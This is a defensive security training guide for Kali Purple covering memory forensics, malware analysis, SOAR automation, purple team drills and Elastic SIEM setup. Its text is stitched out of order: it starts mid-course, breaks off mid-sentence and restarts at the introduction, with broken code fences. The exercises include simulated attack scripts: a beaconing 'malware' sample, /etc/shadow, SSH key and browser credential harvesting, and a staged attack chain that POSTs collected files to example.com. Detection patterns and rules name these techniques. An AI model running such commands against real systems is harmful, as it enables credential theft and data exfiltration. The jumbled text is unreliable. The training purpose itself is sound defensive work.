# Or use LiME (Linux Memory Extractor)
sudo apt install lime-forensics-dkms -y
````

Note: For realistic practice, download sample memory images from:
- https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples
- Digital Forensics Framework datasets

Volatility 3 basic analysis:
````bash
# Identify OS profile
vol3 -f memory_dump.img windows.info

# Or for Linux
vol3 -f memory_dump.img linux.info

# Process list
vol3 -f memory_dump.img windows.pslist

# Process tree
vol3 -f memory_dump.img windows.pstree

# Network connections
vol3 -f memory_dump.img windows.netstat
```

```
# Command line arguments
vol3 -f memory_dump.img windows.cmdline

# DLL list for specific process
vol3 -f memory_dump.img windows.dlllist --pid 1234

# Dump process memory
vol3 -f memory_dump.img windows.memmap --pid 1234 --dump

# Scan for malware
vol3 -f memory_dump.img windows.malfind

# Extract files
vol3 -f memory_dump.img windows.filescan

# Registry analysis
vol3 -f memory_dump.img windows.registry.hivelist
````

Hunting in memory:

Suspicious indicators:
````bash
# Hidden processes (not in pslist but in psscan)
vol3 -f memory_dump.img windows.psscan | grep -v "pslist"

# Process injection
vol3 -f memory_dump.img windows.malfind

# Suspicious parent-child relationships
vol3 -f memory_dump.img windows.pstree | grep -E "(explorer.exe.*powershell|svchost.exe.*cmd)"

# Unusual network connections
```

```
vol3 -f memory_dump.img windows.netstat | grep -E "(443|4444|8080|31337)"
````

Memory forensics workflow:
````markdown
1. Acquire memory dump
2. Identify OS and profile
3. Enumerate processes
4. Check network connections
5. Review loaded DLLs
6. Scan for malware indicators
7. Extract suspicious processes
8. Analyze extracted artifacts
9. Document findings
10. Create IOCs
````

Malware Analysis Basics

Analysis types:

Static Analysis:
- No execution
- File properties
- Strings extraction
- Signature analysis
- Safe but limited

Dynamic Analysis:
- Execute in sandbox
- Monitor behavior
- Network connections
- File operations

- Dangerous but informative

Exercise 22: Basic Malware Analysis (20 minutes)

Create test "malware" (benign):
````bash
# Create suspicious script
cat << 'EOF' > /tmp/suspicious.sh
#!/bin/bash
# Simulated malware behavior (harmless)
curl http://example.com/beacon > /dev/null 2>&1
echo "Persistence" >> ~/.bashrc
ps aux > /tmp/process_list.txt
netstat -an > /tmp/network_state.txt
echo "Exfiltration simulation" | base64
EOF

chmod +x /tmp/suspicious.sh
````

Static analysis:
````bash
# File information
file /tmp/suspicious.sh
# Output: Bourne-Again shell script, ASCII text executable

# Check hash
md5sum /tmp/suspicious.sh
sha256sum /tmp/suspicious.sh

# Extract strings
strings /tmp/suspicious.sh
# Shows: URLs, commands, suspicious behaviors
````

```
# Check for suspicious patterns
grep -E "(curl|wget|nc|eval|exec|base64)" /tmp/suspicious.sh
````

Sandbox execution:
````bash
# Create isolated environment
mkdir /tmp/sandbox
cd /tmp/sandbox

# Monitor with strace (system calls)
strace -o syscalls.log /tmp/suspicious.sh

# Or with ltrace (library calls)
ltrace -o libcalls.log /tmp/suspicious.sh

# Monitor file operations
sudo auditctl -w /tmp/sandbox -p war

# Execute and monitor
./suspicious.sh &
PID=$!

# Watch what it does
lsof -p $PID
strace -p $PID

# Check network activity
netstat -anp | grep $PID

# Kill when done
kill $PID
```

````

Analysis report template:
````markdown
# MALWARE ANALYSIS REPORT

## Sample Information
- Filename: suspicious.sh
- MD5: [hash]
- SHA256: [hash]
- Size: [bytes]
- Type: Shell script

## Static Analysis
### Strings Found:
- C2 URL: http://example.com/beacon
- Persistence: ~/.bashrc modification
- Data collection: process list, network state

### Suspicious Patterns:
- Network communication (curl)
- Persistence mechanism
- Data exfiltration (base64 encoding)

## Dynamic Analysis
### Network Activity:
- HTTP GET to example.com
- User-Agent: curl/7.68.0

### File Operations:
- Modified: ~/.bashrc
- Created: /tmp/process_list.txt
- Created: /tmp/network_state.txt

### System Calls:
- socket(), connect() - Network operations
- open(), write() - File operations

## IOCs
- URL: http://example.com/beacon
- File: /tmp/process_list.txt
- Persistence: ~/.bashrc modification

## Verdict
Suspicious script with C2 beacon, persistence, and data collection capabilities.

## Recommendations
1. Block example.com domain
2. Monitor for ~/.bashrc modifications
3. Alert on base64-encoded outbound data
4. Create detection rule for curl + base64 patterns
````

Hour 7: Security Orchestration, Automation and Response (SOAR) (3:00 - 4:00 PM)

What is SOAR?

SOAR components:

Security Orchestration:
- Connect security tools
- Centralized workflow
- Tool integration
````

Automation:
- Automated playbooks
- Reduce manual work
- Consistent response

Response:
- Incident response
- Threat containment
- Remediation actions

Benefits:
- Faster response times
- Consistent procedures
- Reduced alert fatigue
- Better resource utilization
- Improved metrics

Exercise 23: Building Automated Response Workflows (30 minutes)

Scenario: Automated malware response

Workflow:

1. Alert: Malware detected on endpoint ↓
2. Enrich: Query threat intel for IOCs ↓
3. Contain: Isolate endpoint from network ↓
4. Investigate: Gather forensic data ↓
5. Remediate: Remove malware, restore system ↓
6. Document: Create incident ticket ↓

7. Notify: Alert SOC team

Create automation script:

````
```bash
#!/bin/bash
# Automated Malware Response Script

ALERT_ID=$1
HOSTNAME=$2
MALWARE_HASH=$3

echo "[$(date)] Starting automated response for alert $ALERT_ID"

# Step 1: Enrich with threat intel
echo "Checking threat intelligence..."
THREAT_INTEL=$(curl -s "https://www.virustotal.com/api/v3/files/$MALWARE_HASH" \
  -H "x-apikey: YOUR_API_KEY")

MALICIOUS=$(echo $THREAT_INTEL | jq -r '.data.attributes.last_analysis_stats.malicious')

if [ "$MALICIOUS" -gt 10 ]; then
  echo "Confirmed malicious: $MALICIOUS detections"

  # Step 2: Isolate endpoint
  echo "Isolating endpoint $HOSTNAME..."
  # In production: API call to EDR to isolate host
  # ssh $HOSTNAME "sudo iptables -P INPUT DROP; sudo iptables -P OUTPUT DROP"

  # Step 3: Gather forensics
  echo "Collecting forensic data..."
  # ssh $HOSTNAME "sudo dd if=/dev/mem of=/tmp/memory.img bs=1M count=500"
  # ssh $HOSTNAME "sudo tar czf /tmp/logs.tar.gz /var/log/"

  # Step 4: Create incident ticket
```
````

```
echo "Creating incident ticket..."
TICKET=$(curl -s -X POST "http://thehive:9000/api/alert" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d "{
    \"title\": \"Malware Detected: $MALWARE_HASH\",
    \"description\": \"Malware detected on $HOSTNAME\",
    \"severity\": 3,
    \"tags\": [\"malware\", \"automated\"],
    \"status\": \"New\"
  }")

TICKET_ID=$(echo $TICKET | jq -r '.id')
echo "Created ticket: $TICKET_ID"

# Step 5: Notify SOC
echo "Notifying SOC team..."
# Send to Slack, email, etc.
curl -X POST "https://hooks.slack.com/services/YOUR/WEBHOOK" \
  -d "{\"text\": \"🚨 Malware detected on $HOSTNAME - Ticket $TICKET_ID created\"}"

# Step 6: Update SIEM
echo "Updating SIEM with response actions..."
curl -X POST "http://localhost:9200/incident-response/_doc" \
  -H "Content-Type: application/json" \
  -d "{
    \"@timestamp\": \"$(date -u +%Y-%m-%dT%H:%M:%S.%3NZ)\",
    \"alert_id\": \"$ALERT_ID\",
    \"hostname\": \"$HOSTNAME\",
    \"malware_hash\": \"$MALWARE_HASH\",
    \"action\": \"isolated\",
    \"ticket_id\": \"$TICKET_ID\",
    \"status\": \"contained\"
  }"
```

```
  echo "[$(date)] Automated response completed"
  echo "Summary: Host isolated, forensics collected, ticket created"
else
  echo "Not confirmed malicious - manual review required"
fi
````

Make executable:
````bash
chmod +x /tmp/automated_response.sh
````

Test the script:
````bash
# Simulate malware alert
/tmp/automated_response.sh ALERT-12345 workstation01 5d41402abc4b2a76b9719d911017c592
````

Common SOAR Use Cases

Use Case 1: Phishing Email Response

1. User reports phishing email
2. Extract email headers and URLs
3. Check URLs against threat intel
4. If malicious:
   - Block sender domain
   - Quarantine email from all mailboxes
   - Create incident ticket

- Notify security team

5. If benign:
   - Mark as false positive
   - Close ticket

Use Case 2: Brute Force Response

1. Alert: Multiple failed logins detected
2. Check if IP on whitelist
3. If not whitelisted:
   - Block IP at firewall
   - Force password reset for targeted accounts
   - Enable MFA if not present
   - Create ticket
   - Notify user and security
4. Monitor for 24 hours

Use Case 3: Data Exfiltration Response

1. Alert: Unusual data transfer detected
2. Identify user and destination
3. Check destination against threat intel

4. If suspicious:
    - Block network connection
    - Suspend user account
    - Image endpoint
    - Review all user activities
    - DLP policy enforcement
    - Legal notification (if required)

Integration points:

- **SIEM:** Alert source
- **EDR:** Endpoint response actions
- **Firewall:** Block IPs/domains
- **Active Directory:** Account management
- **Ticketing:** Incident tracking
- **Threat Intel:** IOC enrichment
- **Email Security:** Email operations
- **DLP:** Data protection

Hour 8: Purple Team Exercises (4:00 - 5:00 PM)

Purple Teaming Methodology

Purple Team: Red + Blue working together

Goals:
- Validate detection capabilities
- Improve defensive posture
- Train both teams
- Identify gaps
- Share knowledge

Purple Team Cycle:

1. Plan: Choose attack technique

2. Execute: Red team performs attack

3. Detect: Blue team monitors for detection

4. Analyze: Discuss what worked/failed

5. Improve: Tune detection, update playbooks

6. Repeat: Next technique

Exercise 24: Purple Team Simulation - Credential Dumping (30 minutes)

Scenario: Test detection of credential dumping techniques

Phase 1: Red Team (Attack)

````bash
# Simulate credential dumping (safe - won't actually dump)

# Technique 1: /etc/shadow access
sudo cat /etc/shadow > /dev/null
echo "Attempted /etc/shadow read"

# Technique 2: Memory dumping
sudo dd if=/proc/self/mem bs=1M count=1 > /dev/null 2>&1
echo "Attempted memory dump"

# Technique 3: SSH key harvesting
find /home -name "id_rsa" 2>/dev/null
echo "SSH key enumeration"

# Technique 4: Browser credential access
find /home -name "*Login Data*" -o -name "*Cookies*" 2>/dev/null
echo "Browser credential enumeration"

# Log timestamp
echo "[$(date '+%Y-%m-%d %H:%M:%S')] Attack simulation completed"
````

Phase 2: Blue Team (Detection)

Monitor for indicators in Kibana:

Query 1: Shadow file access

file.path: "/etc/shadow" AND event.action: "opened"

Query 2: Memory access

process.name: "dd" AND process.args: "/proc/*/mem"

Query 3: SSH key enumeration

process.name: "find" AND process.args: "id_rsa"

Query 4: Browser data access

file.path: (*"Login Data"* OR *"Cookies"*) AND event.action: "opened"

Phase 3: Validation

Check if alerts fired:
1. Open Kibana → Security → Alerts
2. Filter by last 15 minutes
3. Look for:
   - File access alerts
   - Process execution alerts
   - Suspicious command-line activity

Phase 4: Analysis

Create detection gap analysis:
````markdown
# PURPLE TEAM EXERCISE REPORT

## Technique Tested
T1003 - OS Credential Dumping

## Red Team Actions
1. /etc/shadow access attempt
2. Process memory dumping
3. SSH key enumeration
4. Browser credential file access

## Blue Team Detection Results

### Detected:
✓ /etc/shadow access (audit rule triggered)
✓ SSH key enumeration (file access monitoring)

### Missed:
````

✗ Memory dumping (no specific rule)
✗ Browser credential access (benign-looking activity)

Gaps Identified
1. No specific detection for memory dumping via dd/proc
2. Browser credential access appears as normal file operations
3. Need better context around file access patterns

Improvements Made
1. Created new rule: Memory dump detection
   Query: process.name: "dd" AND process.args: "/proc/*/mem"

2. Enhanced monitoring: Browser credential files
   Added file integrity monitoring for:
   - ~/.mozilla/firefox/*/logins.json
   - ~/.config/google-chrome/*/Login Data

3. Playbook update: Credential dumping response
   - Immediate password reset
   - Force re-authentication
   - Enhanced logging
   - Forensic collection

Detection Rules Created
- Rule 1: "Memory Dumping via /proc"
- Rule 2: "Browser Credential File Access"
- Rule 3: "Bulk SSH Key Enumeration"

Next Steps
1. Deploy new detection rules to production
2. Test against additional credential dumping techniques
3. Schedule follow-up purple team exercise
4. Train SOC analysts on new detections

````

**Phase 5: Improvement**

Create the detection rules identified:
````bash
# In Kibana Security → Rules → Create

# Rule 1: Memory Dumping Detection
Name: "Process Memory Dumping Attempt"
Query: process.name: ("dd" OR "cat" OR "cp") AND
       (process.args: "/proc/*/mem" OR process.args: "/dev/mem")
Severity: High
MITRE: T1003.007 - Proc Filesystem

# Rule 2: Browser Credential Access
Name: "Browser Credential File Access"
Query: file.path: (*"logins.json"* OR *"Login Data"* OR *"Cookies"*) AND
       NOT process.name: ("firefox" OR "chrome" OR "chromium")
Severity: Medium
MITRE: T1555.003 - Credentials from Web Browsers

# Rule 3: Bulk SSH Key Discovery
Name: "SSH Private Key Enumeration"
Query: process.name: ("find" OR "locate" OR "grep") AND
       process.args: ("id_rsa" OR "id_dsa" OR "id_ecdsa" OR ".ssh")
Severity: Medium
MITRE: T1552.004 - Private Keys
````

Test the new rules:
````bash
# Re-run attack simulation

```
sudo cat /etc/shadow > /dev/null
find /home -name "id_rsa" 2>/dev/null

# Check if new alerts fire
# Kibana → Security → Alerts (should see new detections!)
````

Exercise 25: Comprehensive Purple Team Scenario (15 minutes)

Scenario: Complete attack chain

Red Team playbook:
````bash
#!/bin/bash
# Multi-stage attack simulation

echo "=== Stage 1: Reconnaissance ==="
nmap -sn 192.168.1.0/24 > /dev/null 2>&1
sleep 2

echo "=== Stage 2: Initial Access ==="
for i in {1..5}; do
  ssh fakeuser@localhost 2>/dev/null
done
sleep 2

echo "=== Stage 3: Persistence ==="
echo "# Backdoor" >> ~/.bashrc.bak
mv ~/.bashrc.bak ~/.bashrc 2>/dev/null || true
sleep 2

echo "=== Stage 4: Privilege Escalation ==="
sudo -l > /dev/null 2>&1
```

````
sleep 2

echo "=== Stage 5: Credential Access ==="
find /home -name "*.key" -o -name "*password*" 2>/dev/null | head -5
sleep 2

echo "=== Stage 6: Lateral Movement ==="
for ip in 192.168.1.{1..5}; do
  ping -c 1 $ip > /dev/null 2>&1
done
sleep 2

echo "=== Stage 7: Collection ==="
tar czf /tmp/collected.tar.gz /tmp/*.log 2>/dev/null
sleep 2

echo "=== Stage 8: Exfiltration ==="
curl -X POST -d @/tmp/collected.tar.gz http://example.com/upload 2>/dev/null

echo "[$(date)] Attack simulation complete"
````

Blue Team monitoring checklist:
````markdown
## Detection Checklist

### Stage 1: Reconnaissance
- [ ] Network scanning detected (Suricata/Zeek)
- [ ] Unusual ICMP/ARP traffic
- [ ] Port scan signatures

### Stage 2: Initial Access
- [ ] Multiple failed authentications
````

- [ ] SSH brute force alert
- [ ] Source IP tracking

Stage 3: Persistence
- [ ] File modification in user profile
- [ ] .bashrc changes detected
- [ ] Startup item monitoring

Stage 4: Privilege Escalation
- [ ] Sudo usage monitored
- [ ] Failed privilege escalation attempts
- [ ] Unusual privilege requests

Stage 5: Credential Access
- [ ] Credential file enumeration
- [ ] Password file access
- [ ] Key material discovery

Stage 6: Lateral Movement
- [ ] Unusual network connections
- [ ] Remote authentication patterns
- [ ] Admin tool usage

Stage 7: Collection
- [ ] Data staging activities
- [ ] Archive creation
- [ ] Large file operations

Stage 8: Exfiltration
- [ ] Unusual outbound connections
- [ ] Large data transfers
- [ ] C2 communication patterns
````
````

Run and analyze:

1. Execute red team script
2. Monitor all stages in Kibana
3. Document which stages were detected
4. Identify gaps in detection
5. Create/tune rules for missed stages
6. Re-test after improvements

Evening Wrap-Up (5:00 - 6:00 PM)

Day 2 Comprehensive Review

Exercise 26: Build Your SOC Analyst Toolkit (30 minutes)

Create personal reference guide:
````markdown
# SOC ANALYST QUICK REFERENCE

## Investigation Workflow
1. Alert triage (validate, gather context)
2. Scope assessment (single host vs widespread)
3. Timeline construction (what happened when)
4. IOC extraction (IPs, domains, hashes, etc.)
5. Threat intel enrichment (known bad?)
6. Impact assessment (data exposed? systems affected?)
7. Containment actions (isolate, block, reset)
8. Documentation (ticket, report, lessons learned)

## Key Kibana Queries
````

Authentication Investigation
````
event.action: "authentication" AND user.name: "USERNAME"
event.outcome: "failure" AND source.ip: "IP_ADDRESS"
````

Process Investigation

```
process.name: "PROCESS" AND host.name: "HOSTNAME"
process.parent.name: "PARENT" AND process.name: "CHILD"
```

Network Investigation

```
destination.ip: "IP" OR source.ip: "IP"
destination.port: PORT AND NOT source.ip: (WHITELIST)
```

File Investigation

```
file.path: "/path/to/file" AND event.action: ("creation" OR "modification")
file.hash.md5: "HASH"
```

Common IOC Types

- IP addresses
- Domain names
- URLs
- File hashes (MD5, SHA1, SHA256)
- Email addresses

- Filenames
- Registry keys (Windows)
- Mutexes
- User-agents
- Certificate fingerprints

Severity Classification

- **Critical:** Active exploitation, data exf# Kali Purple Mastery Guide

A Complete Multi-Day Journey to Defensive Security Operations

---

Introduction: Why Kali Purple?

Kali Purple represents a revolutionary shift in the Kali Linux ecosystem. While Kali Linux (Red Team) focuses on offensive security, **Kali Purple is designed for Blue Team operations**—defense, detection, monitoring, and incident response.

What Makes Kali Purple Unique:

- First dedicated defensive security distribution from Offensive Security
- 100+ defensive security tools pre-installed
- Security Operations Center (SOC) in a box
- Purple teaming platform (Red + Blue = Purple)
- Integrated SIEM, IDS/IPS, threat hunting tools
- Incident response and forensics capabilities

- Security monitoring and log analysis
- Threat intelligence integration

Course Structure: This is a **3-day intensive course** designed to transform you from security enthusiast to SOC analyst.

Day 1: Foundation - Security Monitoring and SIEM **Day 2:** Detection - IDS/IPS and Threat Hunting **Day 3:** Response - Incident Response and Forensics

Today's Overall Learning Goals:

- Build and operate a Security Operations Center
- Master SIEM platforms (Elastic Stack, Splunk)
- Deploy and tune IDS/IPS systems
- Conduct threat hunting operations
- Perform incident response procedures
- Analyze security events and logs
- Understand the defender's mindset
- Bridge offensive and defensive security

Time Required: 3 days × 6-8 hours = 18-24 hours total

Critical Context: If Kali Linux teaches you to think like an attacker, **Kali Purple teaches you to think like a defender**. The best defenders understand offensive techniques, and the best attackers understand defensive capabilities. Purple teaming unites both perspectives.

DAY 1: Security Monitoring and SIEM Foundations

Morning Session (8:00 AM - 12:00 PM)

Hour 1: Understanding Defensive Security (8:00 - 9:00 AM)

Before diving into tools, understand the defensive security landscape.

The Security Operations Center (SOC)

What is a SOC?

- Centralized security monitoring facility
- 24/7/365 security operations
- Threat detection and response team
- Integration point for security tools
- Incident coordination center

SOC Roles:

Tier 1 (SOC Analyst):

- Monitor security alerts
- Initial triage and investigation
- Ticket creation and escalation
- Basic incident response
- False positive identification

Tier 2 (Incident Responder):

- Deep-dive investigations
- Threat hunting
- Malware analysis
- Advanced threat detection
- Playbook development

Tier 3 (Threat Hunter/Architect):

- Proactive threat hunting
- Advanced persistent threat (APT) detection
- Security tool deployment
- Architecture design
- Purple team operations

SOC Manager:

- Team coordination
- Metrics and reporting
- Process improvement
- Vendor management
- Executive communication

Exercise 1: Understanding the Kill Chain (20 minutes)

Cyber Kill Chain (Lockheed Martin):

1. Reconnaissance → Defender: Monitor external scanning
2. Weaponization → Defender: Threat intelligence
3. Delivery → Defender: Email/web filtering
4. Exploitation → Defender: Patch management, IDS
5. Installation → Defender: Endpoint detection
6. Command & Control → Defender: Network monitoring
7. Actions on Objectives → Defender: DLP, monitoring

MITRE ATT&CK Framework:

- Industry-standard adversary tactics
- 14 tactics (Reconnaissance to Impact)
- 100+ techniques
- Real-world adversary behaviors
- Detection and mitigation strategies

Visit: https://attack.mitre.org

Exercise: Map Defenses to Attack Stages

For each attack stage, identify defensive controls:

Reconnaissance:

- Monitoring: Unusual external scans
- Detection: Honeypots, deception
- Prevention: Minimize public exposure

Initial Access:

- Monitoring: Email gateway logs
- Detection: Phishing detection tools
- Prevention: Email filtering, user training

Execution:

- Monitoring: Process creation logs
- Detection: Behavioral analysis, EDR
- Prevention: Application whitelisting

Persistence:

- Monitoring: Registry changes, scheduled tasks
- Detection: Autoruns analysis
- Prevention: Least privilege, hardening

Privilege Escalation:

- Monitoring: Privilege use logs
- Detection: Unusual admin activity
- Prevention: PAM, MFA

Defense Evasion:

- Monitoring: Security tool tampering
- Detection: Integrity monitoring
- Prevention: Protected processes

Credential Access:

- Monitoring: Authentication logs
- Detection: Credential dumping attempts
- Prevention: Credential guard, vaulting

Discovery:

- Monitoring: Network enumeration
- Detection: Unusual reconnaissance
- Prevention: Network segmentation

Lateral Movement:

- Monitoring: Lateral authentication
- Detection: Unusual RDP/SMB activity
- Prevention: Network segmentation, MFA

Collection:

- Monitoring: Data staging activities
- Detection: Large file operations
- Prevention: DLP policies

Exfiltration:

- Monitoring: Unusual outbound traffic
- Detection: Data transfer anomalies
- Prevention: Egress filtering, DLP

Impact:

- Monitoring: System/data changes
- Detection: Ransomware indicators
- Prevention: Backups, immutable storage

Blue Team vs. Red Team vs. Purple Team

Red Team (Offensive):

- Simulates adversaries
- Tests security controls
- Finds vulnerabilities
- Exploitation focused
- Uses Kali Linux

Blue Team (Defensive):

- Monitors and defends
- Detects threats
- Responds to incidents
- Protection focused
- Uses Kali Purple

Purple Team (Collaborative):

- Red + Blue collaboration
- Validates detection capabilities
- Improves security posture

- Knowledge sharing
- Uses both Kali Linux and Purple

Exercise 2: Defensive Mindset Development (15 minutes)

Scenario Analysis:

Scenario 1: Web Server Attack

- Red Team View: "SQL injection in login form, gain access"
- Blue Team View: "Monitor for SQL injection attempts, detect patterns"
- Purple Team View: "Test injection, ensure WAF detects, tune rules"

Scenario 2: Ransomware

- Red Team View: "Deploy ransomware, test encryption"
- Blue Team View: "Detect ransomware indicators, isolate systems"
- Purple Team View: "Simulate ransomware, validate EDR response, improve playbooks"

Scenario 3: Credential Theft

- Red Team View: "Dump credentials with Mimikatz"
- Blue Team View: "Detect credential dumping tools and behaviors"
- Purple Team View: "Run Mimikatz, verify detection, tune SIEM rules"

Key Takeaway: Effective defense requires understanding offense. The best SOC analysts think like attackers.

Hour 2: First Boot and Kali Purple Environment (9:00 - 10:00 AM)

Booting Kali Purple

1. **Select Kali Purple from Ventoy menu**
2. **Boot to desktop** (similar to standard Kali)
3. **Login credentials:**
   - Username: `kali`
   - Password: `kali`

What's Different from Standard Kali?

Additional Tool Categories:

- **Security Information and Event Management (SIEM)**
- **Intrusion Detection/Prevention Systems (IDS/IPS)**
- **Network Security Monitoring (NSM)**
- **Threat Intelligence Platforms**
- **Digital Forensics and Incident Response (DFIR)**
- **Log Analysis Tools**
- **Security Orchestration and Automation (SOAR)**

Pre-configured Services:

- Elastic Stack (Elasticsearch, Logstash, Kibana)
- Suricata (IDS/IPS)
- Zeek (Network Security Monitor)

- TheHive (Incident Response Platform)
- Cortex (Observable Analysis)
- MISP (Threat Intelligence)
- GRR (Incident Response Framework)

Exercise 3: Desktop Familiarization (20 minutes)

Part A: Explore Defensive Tool Categories

1. **Open Applications Menu**
2. **Navigate to Kali Purple section:**
    - 01 - Security Information & Event Management
    - 02 - Intrusion Detection & Prevention
    - 03 - Network Security Monitoring
    - 04 - Threat Intelligence
    - 05 - Forensics & Incident Response
    - 06 - Threat Hunting
    - 07 - Log Analysis
    - 08 - Security Orchestration

Part B: Check Service Status

Open terminal and check defensive services:

```bash
```

```
# Check if Elasticsearch is running
sudo systemctl status elasticsearch

# Check Kibana
sudo systemctl status kibana

# Check Suricata
sudo systemctl status suricata

# Check Zeek
sudo systemctl status zeek

# View all Kali Purple services
sudo systemctl list-units | grep -E 'elastic|kibana|suricata|zeek'
```

Part C: System Requirements

Kali Purple requires more resources than standard Kali:

bash

```
# Check available RAM
free -h
# Recommended: 8GB minimum, 16GB ideal

# Check disk space
df -h
# Recommended: 50GB minimum, 100GB+ ideal

# Check CPU cores
nproc
# Recommended: 4+ cores
```

Important: If running in VM, allocate adequate resources:

- RAM: 8GB minimum
- CPU: 4 cores minimum
- Disk: 50GB minimum
- Network: Bridged mode for full functionality

Starting Core Services

Start Elastic Stack:

```bash
# Start Elasticsearch
sudo systemctl start elasticsearch

# Wait for Elasticsearch to initialize (30-60 seconds)
sleep 60

# Verify Elasticsearch is running
curl -X GET "localhost:9200/"

# Start Kibana
sudo systemctl start kibana

# Wait for Kibana to initialize (30-60 seconds)
sleep 60

# Verify Kibana is accessible
# Open browser: http://localhost:5601
```

Start Suricata IDS:

```bash
# Start Suricata
sudo systemctl start suricata

# Verify it's running
sudo systemctl status suricata

# Check Suricata logs
sudo tail -f /var/log/suricata/suricata.log
```

Start Zeek:

```bash
# Deploy Zeek
sudo zeekctl deploy

# Check Zeek status
sudo zeekctl status

# View Zeek logs
ls /opt/zeek/logs/current/
```

Hour 3: Introduction to SIEM and Elastic Stack (10:00 - 11:00 AM)

What is a SIEM?

SIEM (Security Information and Event Management):

- Centralized log collection and aggregation

- Real-time security event correlation
- Threat detection through rules and analytics
- Compliance reporting
- Incident investigation platform
- Historical log analysis

Key SIEM Components:

Log Collection:

- Agents on endpoints
- Syslog from network devices
- API integrations
- File monitoring

Log Normalization:

- Parse different log formats
- Standardize field names
- Enrich with context

Correlation:

- Detect patterns across logs
- Alert on suspicious activity
- Reduce false positives

Alerting:

- Real-time notifications
- Severity classification
- Automated responses

Investigation:

- Search historical data
- Pivot between related events
- Timeline reconstruction

Elastic Stack Overview

Components:

Elasticsearch:

- Search and analytics engine
- Stores all log data
- Lightning-fast searches
- Distributed and scalable

Logstash:

- Log collection and processing
- Parses and transforms logs
- Routes data to Elasticsearch
- Plugin-based architecture

Kibana:

- Visualization and dashboard
- SIEM interface
- Query interface
- Alert management

Beats:

- Lightweight data shippers
- Filebeat (log files)
- Packetbeat (network traffic)
- Winlogbeat (Windows events)
- Auditbeat (audit data)

Exercise 4: Kibana Initial Setup (30 minutes)

Step 1: Access Kibana

```bash
# Ensure Kibana is running
sudo systemctl status kibana

# Open browser
firefox http://localhost:5601 &
```

Step 2: Initial Configuration

1. **Welcome screen appears**
2. **Click "Explore on my own"**

3. **Navigate to main dashboard**

Step 3: Explore Kibana Interface

Top Navigation:

- **Discover:** Search and explore logs
- **Visualize:** Create visualizations
- **Dashboard:** View dashboards
- **Security:** SIEM interface (we'll focus here)
- **Management:** Settings and configuration

Step 4: Configure Index Patterns

```bash
# Generate some sample logs first
logger -t test_app "This is a test log message"
logger -t test_app "Another test message with priority" -p user.warning
logger -t test_app "Critical test message" -p user.crit
```

In Kibana:

1. **Go to Management → Stack Management**
2. **Index Patterns → Create index pattern**
3. **Index pattern name:** `filebeat-*`
4. **Time field:** `@timestamp`
5. **Create index pattern**

Step 5: Explore Discover Tab

1. **Click "Discover" in main menu**
2. **Select `filebeat-*` index pattern**
3. **View logs in real-time**
4. **Use search bar to filter:**

```
message: "test"
log.level: "warning"
host.name: "kali"
```

Step 6: Create Your First Visualization

1. **Click "Visualize" → Create visualization**
2. **Choose "Pie"**
3. **Select `filebeat-*`**
4. **Buckets → Add → Split slices**
5. **Aggregation:** Terms
6. **Field:** `log.level.keyword`
7. **Click "Update"**
8. **Save:** "Log Levels Distribution"

Hour 4: Log Collection and Analysis (11:00 AM - 12:00 PM)

Configuring Filebeat

Filebeat: Lightweight log shipper

Exercise 5: Configure Filebeat for System Logs (25 minutes)

Step 1: Filebeat Configuration

```bash
# Edit Filebeat config
sudo nano /etc/filebeat/filebeat.yml
```

Key configuration sections:

```yaml
```

```
# Filebeat inputs
filebeat.inputs:
- type: log
  enabled: true
  paths:
    - /var/log/syslog
    - /var/log/auth.log
    - /var/log/apache2/*.log

  # Add fields for identification
  fields:
    log_type: system
    environment: lab

# Elasticsearch output
output.elasticsearch:
  hosts: ["localhost:9200"]

# Kibana endpoint
setup.kibana:
  host: "localhost:5601"
```

Step 2: Enable System Modules

```
bash
```

```
# List available modules
sudo filebeat modules list

# Enable system module
sudo filebeat modules enable system

# Enable Apache module (if Apache installed)
sudo filebeat modules enable apache

# View enabled modules
sudo filebeat modules list | grep enabled
```

Step 3: Setup and Start Filebeat

bash

```
# Setup Kibana dashboards
sudo filebeat setup -e

# Start Filebeat
sudo systemctl start filebeat

# Enable on boot
sudo systemctl enable filebeat

# Verify it's running
sudo systemctl status filebeat

# Check Filebeat logs
sudo tail -f /var/log/filebeat/filebeat
```

Step 4: Generate Test Logs

```bash
# Generate authentication logs
sudo su
# Type wrong password (creates auth failure log)
exit

# Generate web server logs (if Apache running)
curl http://localhost/
curl http://localhost/nonexistent
curl http://localhost/admin

# Generate system logs
logger -t security_test "Simulated security event"
logger -t security_test "User login attempt" -p auth.info
logger -t security_test "Failed authentication" -p auth.warning
```

Step 5: View Logs in Kibana

1. **Open Kibana → Discover**
2. **Select `filebeat-*` index**
3. **Search for your test logs:**

```
message: "security_test"
event.module: "system"
log.file.path: "/var/log/auth.log"
```

4. **Explore log fields:**
   - Click expand on a log entry
   - View all parsed fields

- Note: timestamp, hostname, message, severity

Understanding Log Parsing

Raw log vs. Parsed log:

Raw syslog:

```
Dec 15 10:30:45 kali sshd[1234]: Failed password for invalid user admin from 192.168.1.100 port 52234 ssh2
```

Parsed in Elasticsearch:

json

```
{
  "@timestamp": "2024-12-15T10:30:45.000Z",
  "host.name": "kali",
  "process.name": "sshd",
  "process.pid": 1234,
  "event.action": "ssh_login_failed",
  "user.name": "admin",
  "source.ip": "192.168.1.100",
  "source.port": 52234,
  "message": "Failed password for invalid user admin..."
}
```

Why parsing matters:

- Enables precise searching
- Allows correlation across logs
- Powers visualizations and dashboards

- Facilitates automated detection

Exercise 6: Building Your First SOC Dashboard (20 minutes)

Create a security monitoring dashboard:

Visualization 1: Authentication Failures Over Time

1. **Visualize → Create → Line**
2. **Index:** `filebeat-*`
3. **Y-axis:** Count
4. **X-axis:** Date Histogram on `@timestamp`
5. **Split series:** `system.auth.ssh.event` (if available)
6. **Save:** "SSH Auth Timeline"

Visualization 2: Top Source IPs

1. **Visualize → Create → Data Table**
2. **Metrics:** Count
3. **Buckets → Add → Split rows**
4. **Terms on:** `source.ip`
5. **Order by:** Count descending
6. **Size:** 10
7. **Save:** "Top Source IPs"

Visualization 3: Failed Logins by User

1. **Visualize → Create → Horizontal Bar**

2. **Y-axis:** Count
3. **X-axis:** Terms on `user.name`
4. **Filter:** Add filter `event.outcome: "failure"`
5. **Save:** "Failed Login Attempts"

Create Dashboard:

1. **Dashboard → Create dashboard**
2. **Add:** SSH Auth Timeline
3. **Add:** Top Source IPs
4. **Add:** Failed Login Attempts
5. **Arrange visuals logically**
6. **Save:** "Security Monitoring Dashboard"
7. **Set time range:** Last 24 hours

Set as Default Dashboard:

1. **Management → Advanced Settings**
2. **defaultRoute:** `/app/dashboards#/view/[your-dashboard-id]`

